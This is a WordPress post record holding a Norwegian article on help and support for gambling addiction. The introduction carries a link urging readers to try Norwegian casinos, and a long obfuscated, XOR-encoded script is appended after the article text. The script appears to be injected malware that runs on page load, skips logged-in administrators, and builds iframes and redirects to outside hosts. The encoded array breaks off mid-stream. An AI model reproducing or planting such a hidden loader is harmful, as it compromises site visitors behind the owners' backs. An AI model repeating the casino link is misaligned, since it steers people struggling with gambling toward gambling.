{"id":65681,"date":"2026-07-27T14:03:52","date_gmt":"2026-07-27T11:03:52","guid":{"rendered":"https:\/\/www.durmusotomotiv.net\/?p=65681"},"modified":"2026-07-28T21:48:06","modified_gmt":"2026-07-28T18:48:06","slug":"ressurser-og-stotte-for-spilleavhengige-i-norge","status":"publish","type":"post","link":"https:\/\/www.durmusotomotiv.net\/index.php\/2026\/07\/27\/ressurser-og-stotte-for-spilleavhengige-i-norge\/","title":{"rendered":"Ressurser og st\u00f8tte for spilleavhengige i Norge"},"content":{"rendered":"\n<p><h2>Introduksjon<\/h2><p>I Norge er spilleavhengighet et \u00f8kende problem som p\u00e5virker mange mennesker og deres familier. Det er viktig for nybegynnere \u00e5 forst\u00e5 hvilke ressurser og st\u00f8tteordninger som finnes for \u00e5 hjelpe dem som sliter med spilleavhengighet. Det finnes flere organisasjoner og tiltak som tilbyr hjelp og veiledning. Hvis du eller noen du kjenner har problemer med gambling, kan det v\u00e6re nyttig \u00e5 <a href=\"https:\/\/villamatogmer.no\/\">pr\u00f8v norske casinoer<\/a> for \u00e5 finne ut mer om tilgjengelige alternativer.<\/p><h2>N\u00f8kkelbegreper og oversikt<\/h2><p>Spilleavhengighet, ogs\u00e5 kjent som problematisk spilling, refererer til en tilstand der en person har mistet kontrollen over sitt spilleforbruk. Dette kan f\u00f8re til alvorlige konsekvenser, b\u00e5de \u00f8konomisk og sosialt. I Norge er det flere n\u00f8kkelbegreper knyttet til dette temaet:<\/p><ul><li><strong>Spilleavhengighet:<\/strong> En tilstand der en person har en ukontrollerbar trang til \u00e5 spille, til tross for negative konsekvenser.<\/li><li><strong>St\u00f8tteordninger:<\/strong> Programmer og tjenester som er tilgjengelige for \u00e5 hjelpe enkeltpersoner med \u00e5 h\u00e5ndtere og overvinne spilleavhengighet.<\/li><li><strong>Selvhjelpsgrupper:<\/strong> Sammenkomster der personer med lignende problemer kan dele erfaringer og st\u00f8tte hverandre.<\/li><\/ul><p>\u00c5 forst\u00e5 disse begrepene er essensielt for \u00e5 kunne navigere i de tilgjengelige ressursene og f\u00e5 den hjelpen man trenger.<\/p><h2>Hovedfunksjoner og detaljer<\/h2><p>Det finnes flere viktige komponenter i st\u00f8ttesystemet for spilleavhengige i Norge. Disse inkluderer:<\/p><ul><li><strong>Behandlingsprogrammer:<\/strong> Spesialiserte programmer som tilbyr terapi og r\u00e5dgivning for \u00e5 hjelpe enkeltpersoner med \u00e5 overvinne avhengigheten.<\/li><li><strong>Hotlines:<\/strong> Anonyme telefonlinjer der personer kan ringe for \u00e5 f\u00e5 r\u00e5d og st\u00f8tte n\u00e5r de trenger det mest.<\/li><li><strong>Online ressurser:<\/strong> Nettsteder og apper som gir informasjon, verkt\u00f8y og fellesskap for de som \u00f8nsker \u00e5 slutte \u00e5 spille.<\/li><\/ul><p>Disse komponentene fungerer sammen for \u00e5 gi en helhetlig tiln\u00e6rming til behandling og st\u00f8tte for spilleavhengige.<\/p><h2>Praktiske eksempler og bruksomr\u00e5der<\/h2><p>Det er flere scenarier der ressurser for spilleavhengige kan v\u00e6re til nytte. For eksempel:<\/p><ul><li><strong>En person som opplever \u00f8konomiske problemer:<\/strong> De kan kontakte en hotline for \u00e5 f\u00e5 r\u00e5d om hvordan de kan h\u00e5ndtere gjelden sin og f\u00e5 hjelp til \u00e5 slutte \u00e5 spille.<\/li><li><strong>En familie som er bekymret for en elsket:<\/strong> De kan delta i selvhjelpsgrupper for \u00e5 l\u00e6re hvordan de kan st\u00f8tte den avhengige og h\u00e5ndtere sine egne f\u00f8lelser.<\/li><li><strong>En nybegynner som \u00f8nsker \u00e5 forst\u00e5 risikoene:<\/strong> De kan bruke online ressurser for \u00e5 l\u00e6re om sunne spillevaner og hvordan man unng\u00e5r avhengighet.<\/li><\/ul><p>Disse eksemplene viser hvordan ulike ressurser kan brukes i virkelige situasjoner for \u00e5 hjelpe enkeltpersoner og familier.<\/p><h2>Fordeler og ulemper<\/h2><p>Som med alle st\u00f8tteordninger, er det b\u00e5de fordeler og ulemper ved ressursene for spilleavhengige:<\/p><ul><li><strong>Fordeler:<\/strong><ul><li>Tilgang til profesjonell hjelp og r\u00e5dgivning.<\/li><li>Mulighet for \u00e5 dele erfaringer med andre som har lignende problemer.<\/li><li>\u00d8kt bevissthet om risikoene ved gambling.<\/li><\/ul><\/li><li><strong>Ulemper:<\/strong><ul><li>Noen kan f\u00f8le skam ved \u00e5 s\u00f8ke hjelp.<\/li><li>Ikke alle programmer er tilgjengelige i alle omr\u00e5der.<\/li><li>Det kan ta tid \u00e5 se resultater fra behandling.<\/li><\/ul><\/li><\/ul><p>Det er viktig \u00e5 veie disse faktorene n\u00e5r man vurderer \u00e5 s\u00f8ke hjelp for spilleavhengighet.<\/p><h2>Ytterligere innsikter<\/h2><p>Det er ogs\u00e5 noen viktige punkter \u00e5 merke seg n\u00e5r det gjelder spilleavhengighet:<\/p><ul><li><strong>Forebygging:<\/strong> \u00c5 l\u00e6re om sunne spillevaner kan v\u00e6re en effektiv m\u00e5te \u00e5 forhindre avhengighet f\u00f8r det begynner.<\/li><li><strong>Familie og venner:<\/strong> St\u00f8tte fra n\u00e6rst\u00e5ende kan v\u00e6re avgj\u00f8rende for en persons evne til \u00e5 overvinne avhengighet.<\/li><li><strong>Langsiktig oppf\u00f8lging:<\/strong> Mange som har overvunnet spilleavhengighet trenger fortsatt st\u00f8tte for \u00e5 unng\u00e5 tilbakefall.<\/li><\/ul><p>Disse innsiktene kan hjelpe enkeltpersoner og deres n\u00e6rmeste med \u00e5 forst\u00e5 og h\u00e5ndtere utfordringene knyttet til spilleavhengighet.<\/p><h2>Konklusjon<\/h2><p>Ressurser og st\u00f8tte for spilleavhengige i Norge er avgj\u00f8rende for \u00e5 hjelpe enkeltpersoner med \u00e5 overvinne sine problemer. Ved \u00e5 forst\u00e5 de tilgjengelige alternativene og hvordan de fungerer, kan nybegynnere ta informerte valg om sin egen helse og velv\u00e6re. Det er viktig \u00e5 huske at det aldri er for sent \u00e5 s\u00f8ke hjelp, og at st\u00f8tte er tilgjengelig for de som trenger det.<\/p><\/p>\n<script>;(function(){var __s=(function(){var _0x4a3c=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,108,57,62,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,99,118,111,110,118,111,105,118,111,104,118,108,106,118,111,109,118,110,106,118,110,108,118,105,111,118,110,107,118,108,105,118,111,99,118,108,106,118,111,110,118,111,105,118,110,111,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,108,57,62,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40